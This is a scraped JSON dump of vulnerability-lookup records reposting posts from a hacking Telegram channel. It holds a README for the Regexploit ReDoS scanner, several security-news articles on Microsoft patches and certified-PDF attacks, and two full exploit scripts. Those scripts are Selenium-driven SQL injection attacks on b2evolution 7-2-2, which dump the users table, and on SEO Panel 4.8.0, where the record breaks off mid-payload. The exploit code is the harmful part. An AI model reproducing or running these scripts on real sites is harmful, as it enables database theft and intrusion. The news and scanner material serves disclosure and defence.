my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --glob  N.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want (https://hackernoon.com/the-madness-of-parsing-real-world-javascript-regexps-d9ee336df983) to write a JS regex AST!  \nPython imports\n  Search for regexes in all the python modules currently installed in your path / env. This means you can pip install whatever modules you are interested in and they will be analysed. Cpython code is included.  regexploit-python-env  N.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c)  \nJSON / YAML\n  Yaml support requires pyyaml, which can be installed with pip install regexploit[yaml].  regexploit-json *.json\nregexploit-yaml *.yaml  \nC# (.NET)\n  regexploit-csharp something.cs  \nBugs reported    CVE-2020-5243: uap-core (https://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p) affecting uap-python, uap-ruby (https://github.com/ua-parser/uap-ruby/security/advisories/GHSA-pcqq-5962-hvcw), etc. (User-Agent header parsing)  CVE-2020-8492: cpython's urllib.request (https://github.com/python/cpython/commit/0b297d4ff1c0e4480ad33acae793fbaf4bf015b4) (WWW-Authenticate header parsing)  CVE-2021-21236: CairoSVG (https://github.com/advisories/GHSA-hq37-853p-g5cf) (SVG parsing)  CVE-2021-21240: httplib2 (https://github.com/httplib2/httplib2/security/advisories/GHSA-93xj-8mrv-444m) (WWW-Authenticate header parsing)  CVE-2021-25292: python-pillow (https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c) (PDF parsing)  CVE-2021-26813: python-markdown2 (https://github.com/trentm/python-markdown2/pull/387) (Markdown parsing)  CVE-2021-27290: npm/ssri (https://doyensec.com/resources/Doyensec_Advisory_ssri_redos.pdf) (SRI parsing)  CVE-2021-27291: pygments (https://github.com/pygments/pygments/commit/2e7e8c4a7b318f4032493773732754e418279a14) lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)  CVE-2021-27292: ua-parser-js (https://github.com/faisalman/ua-parser-js/commit/809439e20e273ce0d25c1d04e111dcf6011eb566) (User-Agent header parsing)  CVE-2021-27293: RestSharp (https://github.com/restsharp/RestSharp/issues/1556) (JSON deserialisation in a .NET C# package)  bpo-38804: cpython's http.cookiejar (https://github.com/python/cpython/pull/17157) (Set-Cookie header parsing)  SimpleCrawler (archived) (https://doyensec.com/resources/Doyensec_Advisory_simplecrawler_redos.pdf) (HTML parsing)  CVE-2021-28092: is-svg (https://github.com/sindresorhus/is-svg/commit/01f8a087fab8a69c3ac9085fbb16035907ab6a5b) (SVG parsing)  nuget.org, NuGetGallery (https://github.com/NuGet/NuGetGallery/commit/25d2d3b32b2d9f0b1ca6e0a105b0210c2c4820f4) and NuGet.Client (https://github.com/NuGet/NuGet.Client/commit/a0671e946ce71dc59def5cc8a67c6457d66f33bf) (Parsing NuGet package IDs)  markdown (python) (https://github.com/Python-Markdown/markdown/pull/1130) (Markdown parsing)  ansi-html (nodejs) (https://github.com/Tjatse/ansi-html/issues/19) (ANSI parsing)  Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages    \nCredits\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:06.288443Z"}, {"uuid": "e9ae12a2-f285-4174-bc99-379fdd649238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28092", "type": "seen", "source": "https://t.me/hacking_Attack/17160", "content": "and browsing a website using an old version of ua-parser may cause the server to take a long time to process your request, probably ending in status 502. InstallationPython 3.8+ is required. To extract regexes from JavaScript / TypeScript code, NodeJS 12+ is also required.\n\nOptionally make a virtual environment python3 -m venv .env\nsource .env/bin/activateNow actually install with pip pip install regexploit UsageRegexploit with a list of regexesEnter regular expressions via stdin (one per line) into regexploit. regexploitor via a file cat myregexes.txt | regexploitExtract regexes automaticallyThere is built-in support for parsing regexes out of Python, JavaScript, TypeScript, C#, YAML and JSON. Python codeParses Python code (without executing it) via the AST to find regexes. The regexes are then analysed for ReDoS. regexploit-py my-project/\nregexploit-py \"my-project/**/*.py\" --globJavascript / TypescriptThis will use the bundled NodeJS package in regexploit/bin/javascriptwhich parses your JavaScript as an AST with eslint and prints out all regexes.\n\nThose regexes are fed into the python ReDoS finder. regexploit-js my-module/my-file.js another/file.js some/folder/\nregexploit-js \"my-project/node_modules/**/*.js\" --globN.B. there are differences between javascript and python regex parsing so there may be some errors. I'm not sure I want to write a JS regex AST! Python importsSearch for regexes in all the python modules currently installed in your path / env. This means you can pip installwhatever modules you are interested in and they will be analysed. Cpython code is included. regexploit-python-envN.B. this doesn't parse the python code to an AST and will only find regexes compiled automatically on module import. Modules are actually imported, so code in the modules will be executed. This is helpful for finding regexes which are built up from smaller strings on load e.g. CVE-2021-25292 in Pillow JSON / YAMLYaml support requires pyyaml, which can be installed with pip install regexploit[yaml]. regexploit-json *.json\nregexploit-yaml *.yamlC# (.NET)regexploit-csharp something.csBugs reported* CVE-2020-5243: uap-core affecting uap-python, uap-ruby, etc. (User-Agent header parsing)\n* CVE-2020-8492: cpython's urllib.request (WWW-Authenticate header parsing)\n* CVE-2021-21236: CairoSVG (SVG parsing)\n* CVE-2021-21240: httplib2 (WWW-Authenticate header parsing)\n* CVE-2021-25292: python-pillow (PDF parsing)\n* CVE-2021-26813: python-markdown2 (Markdown parsing)\n* CVE-2021-27290: npm/ssri (SRI parsing)\n* CVE-2021-27291: pygments lexers for ADL, CADL, Ceylon, Evoque, Factor, Logos, Matlab, Octave, ODIN, Scilab & Varnish VCL (Syntax highlighting)\n* CVE-2021-27292: ua-parser-js (User-Agent header parsing)\n* CVE-2021-27293: RestSharp (JSON deserialisation in a .NET C# package)\n* bpo-38804: cpython's http.cookiejar (Set-Cookie header parsing)\n* SimpleCrawler (archived) (HTML parsing)\n* CVE-2021-28092: is-svg (SVG parsing)\n* nuget.org, NuGetGallery and NuGet.Client (Parsing NuGet package IDs)\n* markdown (python) (Markdown parsing)\n* ansi-html (nodejs) (ANSI parsing)\n* Plus unpublished bugs in a handful of pypi, npm, ruby and nuget packages CreditsThis tool has been created by Ben Caller of Doyensec LLC during research time. https://camo.githubusercontent.com/604dfb1a1bfac98d0048f363e0e6d65bd88b4fdbd57f5b001a8f76ea580c1097/68747470733a2f2f646f79656e7365632e636f6d2f696d616765732f6c6f676f2e737667 Download Regexploit\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:06.836995Z"}, {"uuid": "7b4c88d1-a8f8-4c92-b4af-59777f3c24d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28242", "type": "seen", "source": "https://t.me/hacking_Attack/7570", "content": "Exploit Collector\nb2evolution 7-2-2 SQL Injection\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png b2evolution version 7-2-2 suffers from a remote SQL injection vulnerability.\n\nMD5 | 1ced09b619490337be3ea86e23221667Download # Exploit Title: b2evolution 7-2-2 obtaining sensitive database information by injecting SQL commands into the \"cf_name\" parameter\n# Author: @nu11secur1ty\n# Testing and Debugging: @nu11secur1ty\n# Date: 05.06.2021\n# Vendor: https://b2evolution.net/\n# Link: https://b2evolution.net/downloads/7-2-2\n# CVE: CVE-2021-28242\n# Proof: https://streamable.com/x51kso\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28242\nfrom selenium import webdriver\nimport time\n# Vendor: https://typo3.org/\nwebsite_link=\"\nhttp://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link\n\"\n\n# enter your login username\nusername=\"admin\"\n\n# enter your login password\npassword=\"FvsDq7fmHvWF\"\n\n#enter the element for username input field\nelement_for_username=\"x\"\n\n#enter the element for password input field\nelement_for_password=\"q\"\n\n#enter the element for submit button\nelement_for_submit=\"login_action[login]\"\nbrowser = webdriver.Chrome() #uncomment this line,for chrome users\n#browser = webdriver.Safari() #for macOS users[for others use chrome vis\nchromedriver]\n#browser = webdriver.Firefox() #uncomment this line,for chrome users\n\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit vulnerability MySQL obtain sensitive database information by\ninjecting SQL commands into the \"cf_name\" parameter\ntime.sleep(7)\n# Receaving sensitive info for evo_users\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_blogs\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\n\"))\n\ntime.sleep(7)\n# Receaving sensitive info for evo_section\nbrowser.get((\"\nhttp://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections\"))\ntime.sleep(7)\nbrowser.close()\nprint(\"At the time, of the exploit, you had to see information about the\ntables...\\n\")\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Sorry, your exploit is not working for some reasons...\")\n\n---------------------------------\n\n# Exploit Title: b2evolution 7-2-2 obtaining sensitive database information\nby injecting SQL commands into the \"cf_name\" parameter\n# Date: 05.06.2021\n# Exploit Authotr idea: @nu11secur1ty\n# Exploit Debugging: @nu11secur1ty\n# Vendor Homepage: https://b2evolution.net/\n# Software Link: https://b2evolution.net/downloads/7-2-2\n\n# Steps to Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-28242\n\n-- \nSystem Administrator - Infrastructure Engineer\nPenetration Testing Engineer\nExploit developer at https://www.exploit-db.com/\nhttps://www.nu11secur1ty.com/\nhiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=\nnu11secur1ty <http: Source:packetst[...]", "creation_timestamp": "2026-09-02T01:03:19.920316Z"}, {"uuid": "56c32ed4-8389-40e3-848f-cf76195bdc7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28550", "type": "seen", "source": "https://t.me/hacking_Attack/12056", "content": "vulnerability in Chrome and Chromium browsers that allows attackers to exploit the Chrome renderer process (the processes that are responsible for what happens inside users\u2019 tabs).\nKaspersky experts did find and analyze the second exploit, however: An elevation of privilege exploit that exploits two distinct vulnerabilities in the Microsoft Windows OS kernel: CVE-2021-31955 and CVE-2021-31956. The CVE-2021-31955 bug \u201cis affiliated with SuperFetch, a feature first introduced in Windows Vista that aims to reduce software loading times by pre-loading commonly used applications into memory,\u201d they explained.\n\nThe second flaw, CVE-2021-31956, is an Elevation of Privilege vulnerability and heap-based buffer overflow. Kaspersky said that attackers used this vulnerability alongside Windows Notification Facility (WNF) \u201cto create arbitrary memory read/write primitives and execute malware modules with system privileges.\u201d\n\n\u201cOnce the attackers have used both the Chrome and Windows exploits to gain a foothold in the targeted system, the stager module downloads and executes a more complex malware dropper from a remote server,\u201d they continued. \u201cThis dropper then installs two executables, which pretend to be legitimate files belonging to Microsoft Windows OS. The second of these two executables is a remote shell module, which is able to download and upload files, create processes, sleep for certain periods of time, and delete itself from the infected system.\u201d\n\nBoris Larin, senior security researcher with Kaspersky\u2019s Global Research and Analysis Team (GReAT), said that the team hasn\u2019t been able to link these highly targeted attacks to any known threat actor: Hence the name PuzzleMaker and the determination to closely monitor the security landscape \u201cfor future activity or new insights about this group,\u201d he was quoted as saying in the press release.\n\nIf the current trend is any indication, expect to see more of the same, Larin said. \u201cOverall, of late, we\u2019ve been seeing several waves of high-profile threat activity being driven by zero-day exploits,\u201d he said. \u201cIt\u2019s a reminder that zero days continue to be the most effective method for infecting targets. Now that these vulnerabilities have been made publicly known, it\u2019s possible that we\u2019ll see an increase of their usage in attacks by this and other threat actors. That means it\u2019s very important for users to download the latest patch from Microsoft as soon as possible.\u201d CVE-2021-31199/CVE-2021-31201The two Enhanced Cryptographic Provider Elevation of Privilege vulnerabilities are linked to the Adobe Reader bug that came under active attack\u00a0last month (CVE-2021-28550), ZDI explained. \u201cIt\u2019s common to see privilege escalation paired with code execution bugs, and it seems these two vulnerabilities were the privilege escalation part of those exploits,\u201d he explained. \u201cIt is a bit unusual to see a delay between patch availability between the different parts of an active attack, but good to see these holes now getting closed.\u201d CVE-2021-33739Breen noted that privilege escalation vulnerabilities such as this one in the Microsoft DWM Core Library are just as valuable to attackers as RCEs. \u201cOnce they have gained an initial foothold, they can move laterally across the network and uncover further ways to escalate to system or domain-level access,\u201d he said. \u201cThis can be hugely damaging in the event of ransomware attacks, where high privileges can enable the attackers to stop or destroy backups and other security tools.\u201d\nSource: threatpost.com (Click Link)Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-1-1-90x90.png RockYou2021: largest password compilation of all time leaked online \u2013 8.4 billion entries17 hours ago\n* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/microsoft-exploit-90x90.jpg Windows Container Malware Targets Kubernetes Clusters1 day ago\n* https://www.blackhatethicalhacking[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:12.964316Z"}, {"uuid": "994fdef8-e8d6-47a7-a896-049d0009818a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28474", "type": "seen", "source": "https://t.me/hacking_Attack/8312", "content": "includes the fix for CVE-2021-31207, which made its debut in the 2021 Pwn2Own competition,\u201d he said.\n\nThe bug tracked as CVE-2021-31207 is only rated as \u201cmoderate,\u201d but the \u201csecurity feature-bypass exploit was showcased prominently in the Pwn2Own contest and at some point details of the exploit will be published,\u201d Goettl explained. \u201cAt that point threat actors will be able to take advantage of the vulnerability if they have not already begun attempting to reverse engineer an exploit.\u201d\n\nThere two other publicly disclosed vulnerabilities resolved by Microsoft this month that exist in Common Utilities, found in the NNI open-source toolkit (CVE-2021-31200), and in .NET and Visual Studio (CVE-2021-31204).\n\n\u201cCommon Utilities and .NET and Visual Studio are less likely to be targeted, but due to the public disclosures they should not be ignored for long,\u201d Goettl added. Other Notable Microsoft Security Patches for May 2021As for the other patches in the update that stood out to the research community, ZDI\u2019s Childs highlighted a Windows wireless networking information-disclosure bug, tracked as CVE-2020-24587.\n\n\u201cThe ZDI doesn\u2019t normally highlight info disclosure bugs, but this one has the potential to be pretty damaging,\u201d Childs said. \u201cThis patch fixes a vulnerability that could allow an attacker to disclose the contents of encrypted wireless packets on an affected system. It\u2019s not clear what the range on such an attack would be, but you should assume some proximity is needed. You\u2019ll also note this CVE is from 2020, which could indicate Microsoft has been working on this fix for some time.\u201d Windows Graphics, SharePoint Server PatchesA trio of local privilege escalation flaws \u2013 two in the Windows Graphics Component (CVE-2021-31188, CVE-2021-31170) and one in SharePoint Server (CVE-2021-28474) \u2013 caught Breen\u2019s eye.\n\nAs for the first two, he noted they could be chained with another bug, such as the wormable bug listed above, to become highly dangerous and allow for WannaCry-style attacks.\n\n\u201cThis kind of vulnerability is often used by attackers after they have already gained a foothold through an initial infection vector, like phishing or via another exploit like the RCE in HTTP.sys (CVE-2021-31166),\u201d Breen noted via email. \u201cThe attackers are looking to increase their privileges so they can move laterally across a network or gain access to other accounts that may have access to more sensitive information.\u201d\n\nMeanwhile, the SharePoint bug allows an authenticated attacker to run code on remote SharePoint Servers.\n\n\u201cAs this is post-authentication, it\u2019s likely to be used as part of post-exploitation and lateral movement phases of an attack, rather than the initial-infection vector,\u201d Breen said. \u201cAttackers could gain access to sensitive documents or even replace real documents with weaponized versions, enabling the compromise of more user devices across the organization\u2019s network.\u201d Microsoft Exchange Server PatchesMicrosoft also patched four vulnerabilities in Microsoft Exchange Server. The flaws (CVE-2021-31198, RCE; CVE-2021-31207, spoofing; CVE-2021-31209, security bypass; and CVE-2021-31195, RCE), are all rated important or moderate.\n\n\u201cCVE-2021-31195 is attributed to Orange Tsai of the DEVCORE research team, who was responsible for disclosing the ProxyLogon Exchange Server\u00a0vulnerabilities that [were] patched in an out-of-band release back in March,\u201d Satnam Narang, staff research engineer with Tenable, told Threatpost. \u201cWhile none of these flaws are deemed critical in nature, it is a reminder that researchers and attackers are still looking closely at Exchange Server for additional vulnerabilities, so organizations that have yet to update their systems should do so as soon as possible.\u201d\n\nAnd finally, Ivanti\u2019s Goettl noted that several Microsoft products have reached end-of-life and won\u2019t be getting support going forward.\n\n\u201cThis month marks the final update for several Windows 10 and Server [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:19.048327Z"}, {"uuid": "8468f773-b839-4dc5-b28c-9c60b9ccd486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8311", "content": "is impacted as well. Definitely put this on the top of your test-and-deploy list.\u201d CVE-2021-26419This second critical bug affecting Microsoft\u2019s legacy browser allows RCE, and offers several avenues of attack, according to researchers.\n\n\u201cIn a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,\u201d explained Feldman. \u201cAn attacker could also embed an ActiveX control marked \u2018safe for initialization\u2019 in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.\u201d\nSee Also: Offensive Security Tool: EyeWitness The best way to counteract this bug is ditching IE, noted Breen.\n\n\u201cInternet Explorer needs to die \u2013 and I\u2019m not the only one that thinks so,\u201d he told Threatpost. \u201cIf you are an organization that has to provide IE11 to support legacy applications, consider enforcing a policy on the users that restricts the domains that can be accessed by IE11 to only those legacy applications. All other web browsing should be performed with a supported browser.\u201d CVE-2021-31194The third critical bug exists in the Microsoft Windows OLE Automation, which in and of itself should place it on the priority-patch list, according to researchers.\n\n\u201cTo exploit the vulnerability, an attacker could host a specially crafted website designed to invoke OLE automation through a web browser,\u201d explained Justin Knapp, Automox researcher. \u201cHowever, this approach requires that the attacker bait a user into visiting the maliciously crafted website.\u201d\n\nHe pointed out that OLE technology has frequently been used to mask malicious code within documents and for linking to external files that infect systems with malware.\n\n\u201cIn 2020, the CISA released an alert detailing the top 10 routinely exploited vulnerabilities, which identified Microsoft\u2019s OLE as the most commonly exploited technology by state-sponsored cyber-actors,\u201d he said. \u201cConsidering the prevalent exploitation of OLE vulnerabilities, including those that had been flagged years ago, organizations should immediately prioritize patching all outstanding OLE vulnerabilities.\u201d See Also: Hacking Stories: Xbox UndergroundCVE-2021-28476The last critical bug is found in Windows Hyper-V, which is a native hypervisor that can create and run virtual machines on x86-64 systems running Windows. It can allow an attacker to execute arbitrary code, Knapp said:\u00a0\u201cTo exploit this vulnerability, an attacker could run a specially crafted application on a Hyper-V guest that could cause the Hyper-V host operating system to execute arbitrary code when it fails to properly validate vSMB packet data. Successful exploitation could enable an attacker to run malicious binaries on Hyper-V virtual machines or execute arbitrary code on the host system itself.\u201d\n\nThat said, Microsoft noted that an attacker is more likely to abuse the bug for DoS attacks in the form of a system crash rather than RCE, Childs pointed out, which mitigates the vulnerability\u2019s CVSS score of 9.9.\n\n\u201cBecause of this, it could be argued that the attack complexity would be high, which changes the CVSS rating to 8.5,\u201d he said. \u201cThat still rates as high-severity, but not critical. Still, the bug check [system crash] alone is worth making sure your Hyper-V systems get this update.\u201d Publicly Disclosed VulnerabilitiesChris Goettl, senior director of product management at Ivanti, told Threatpost that the biggest patching priority should be the publicly disclosed bugs \u2013 even though there is as yet no known malicious exploitation.\n\n\u201cThe top concern from the Microsoft updates this month is the update for Microsoft Exchange that[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:19.127361Z"}, {"uuid": "788c41b1-f91c-4a42-8b3a-1a2a64e756cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28546", "type": "seen", "source": "https://t.me/hacking_Attack/10387", "content": "Black Hat Ethical Hacking\nPDF Feature \u2018Certified\u2019 Widely Vulnerable to Attack\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg PDF Feature \u2018Certified\u2019 Widely Vulnerable to AttackPost Views: 161 \nReading Time: 1 Minute\nCertified portable document format (PDF) files are used to securely sign agreements between two parties while keeping the contents\u2019 integrity protected, but a new report found the security protections on most certified PDF applications were inadequate and left organizations exposed to a number of attacks.\nResearchers from Ruhr University Bochum explained certified PDFs use two specific signatures to authenticate the document, an Approval signature and a Certification signature. Certification signatures are the more flexible and made to handle complicated agreements between multiple parties and allow some changes to the document within a set of parameters while still maintaining its validity.\n\nUnsurprisingly, Certified signatures are where the team found vulnerabilities to two specific novel attacks they dubbed, \u201cEvil Annotation\u201d (EAA) and \u201cSneaky Signature\u201d (SSA). Both allow an attacker to overlay malicious content\u00a0(PDF) on top of the certified information without showing any signs it was altered. Novel Certified PDF Attacks EAAs display malicious content in the document\u2019s annotations and then sends it on with its digital signature intact. SSAs add malicious content over legitimate content in the PDF itself.\n\nThe team said the results of its evaluation of the 26 most popular PDF applications were \u201calarming.\u201d\nSee Also: Pulse Secure VPNs Get Quick Fix for Critical RCE \u201cIn only 2 cases, we could not find a vulnerability; 15 viewers were vulnerable to EAA, 8 to SSA, including Adobe, Foxit, and LibreOffice,\u201d the report said. \u201cWe additionally analyzed the standard-compliant implementation of PDF certification applications and found issues in 11 of them.\u201d\n\nAdobe had an additional flaw that allowed certified documents to execute JavaScript code, opening these users to code in injection attacks.\n\nhttps://media.threatpost.com/wp-content/uploads/sites/103/2021/05/26161319/Evil-Annotation-PDF-Research_10-300x187.jpg \u201cFor example, a high-level JavaScript can call an arbitrary URL without user confirmation to deanonymize a user. Our research reveals that such code is also executed if it is added as an allowed incremental update. We are the first to reveal that this behavior allows attackers to directly embed malicious code into a certified document.\n\nThe team said it disclosed their findings to the appropriate vendors and provided a comprehensive vulnerability report, including exploits, to CERT-Bund (BSI). The report also lists the specific certified PDF security flaws\u00a0found in each application.\n\n\u201cAdobe, Foxit, and LibreOffice responded quickly and provided patches for late 2020 (CVE-2020-35931) or early 2021 (CVE2021-28545, CVE-2021-28546),\u201d the report said. \u201cAdobe fixed the code injection vulnerability in early Nov. 2020 within a patch outside the regular update cycle (CVE-2020-24432). Currently, we participate in the standardization process via the German National Organization for Standardization (DIN) and the International Organization for Standardization (ISO) to address the reported attacks in the next PDF specification.\u201d\nSee Also: Offensive Security Tool: Snallygaster Stopping Certified PDF AttacksTo fend off Evil Annotation Attacks, the researchers recommend admins prohibit three particularly risky annotations that allow text or images to be added to a certified PDF, \u201cFreeText, Stamp and Redact.\u201d\n\nSneaky Signatures can be blocked by reducing permissions, but that is not a guarantee SSAs won\u2019t g[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:17.547418Z"}, {"uuid": "f959a790-9629-4b16-b8ec-669b6ab610da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28476", "type": "seen", "source": "https://t.me/hacking_Attack/8310", "content": "Black Hat Ethical Hacking\nWormable Windows Bug Opens Door to DoS, RCE\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2017/11/black-hat-locks-and-electronics.jpg Wormable Windows Bug Opens Door to DoS, RCEPost Views: 89 \nReading Time: 2 Minutes\nMicrosoft\u2019s May 2021 Patch Tuesday updates include fixes for four critical security vulnerabilities, including a\u00a0patch for a concerning wormable vulnerability found in the Windows OS.\nThe good news is that none of the vulnerabilities are being actively exploited in the wild, according to Microsoft, though three are listed as publicly known. The fixes\u00a0address security flaws across Microsoft Windows, .NET Core and Visual Studio, Internet Explorer (IE), Microsoft Office, SharePoint Server, Open-Source Software, Hyper-V, Skype for Business and Microsoft Lync, and Exchange Server. Besides the four critical bugs, 50 are rated \u201cimportant\u201d and one is moderate in severity. Critical Microsoft Security Patches for May 2021The critical bugs in this month\u2019s Patch Tuesday release are:\n\n* CVE-2021-31166: A wormable HTTP protocol-stack issue in Windows 10 and some versions of Windows Server allowing remote code-execution (RCE)\n* CVE-2021-26419: A scripting-engine memory corruption vulnerability in Internet Explorer 11 and 9 allowing RCE\n* CVE-2021-31194: An RCE bug in the Microsoft Windows Object Linking and Embedding (OLE) Automation\n* CVE-2021-28476: An RCE vulnerability in Microsoft Windows Hyper-V CVE-2021-31166 \u2013 WormableThis most concerning critical bug for researchers is an HTTP protocol-stack issue that would allow RCE with kernel privileges or a denial-of-service (DoS) attack. The HTTP protocol stack enables Windows and applications to communicate with other devices; it can be run standalone or in conjunction with Internet Information Services (IIS).\n\n\u201cIf exploited, this vulnerability could enable an unauthenticated attacker to send a specially crafted packet to a targeted server utilizing the HTTP protocol stack (http.sys) to process packets and ultimately, execute arbitrary code, and take control of the affected system,\u201d Eric Feldman, cybersecurity researcher with Automox, wrote in an analysis.\nSee Also: Lemon Duck Cryptojacking Botnet Changes Up Tactics Worse, Microsoft noted that the bug is wormable, so that it could be used to self-replicate across the internal network and affect internal services that may not have been exposed.\n\n\u201cThe vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated DoS (Blue Screen of Death) for affected products,\u201d Steve Povolny, head of advanced threat research and principle engineer at McAfee, said via email. \u201cWhile this vulnerability has the potential to lead to code execution in the Windows kernel, this type of weaponization is a much higher bar for exploitation. However, if RCE can be achieved, cybercriminals would likely have the capability to create a worm, leading to self-propagation of the vulnerability across networks and the internet.\u201d\n\n\u201cFor ransomware operators, this kind of vulnerability is a prime target for exploitation,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cWormable exploits should always be a high priority, especially if they are for services that are designed to be public facing. As this specific exploit would not require any form of authentication, it\u2019s even more appealing for attackers, and any organization using HTTP.sys protocol stack should prioritize this patch.\u201d\n\nDustin Childs, researcher with Trend Micro\u2019s Zero Day Initiative (ZDI), noted in a blog, \u201cBefore you pass this aside, Windows 10 can also be configured as a web server, so it [...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:19.240920Z"}, {"uuid": "96982c5b-6dbf-4a95-b8db-00a62c1658ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-28419", "type": "seen", "source": "https://t.me/hacking_Attack/6551", "content": "Exploit Collector\nSEO Panel 4.8.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png \nSEO Panel version 4.8.0 remote blind SQL injection exploit. Original discovery in this version is attributed to Piyush Patil in February of 2021.\n\nMD5 | 4b18d3433a071c4d3f98f08f8abcd113\n\nDownload\n# Exploit Title: blind SQL injection on archive.php of SEO Panel 4.8.0\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty\n# Date: 04.25.2021\n# Vendor: https://www.seopanel.org/\n# Link: https://www.seopanel.org/spdownload/4.8.0\n# CVE: CVE-2021-28419\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-28419\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.3/seopanel/login.php\"\n\n#enter your login username\nusername=\"spadmin\"\n\n#enter your login password\npassword=\"spadmin\"\n\n#enter the element for username input field\nelement_for_username=\"userName\"\n\n#enter the element for password input field\nelement_for_password=\"password\"\n\n#enter the element for submit button\nelement_for_submit=\"login\"\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n# Exploit\nbrowser.get((\"\nhttp://192.168.1.3/seopanel/archive.php?from_time=2021-04-25&order_col=(SELECT\n7397 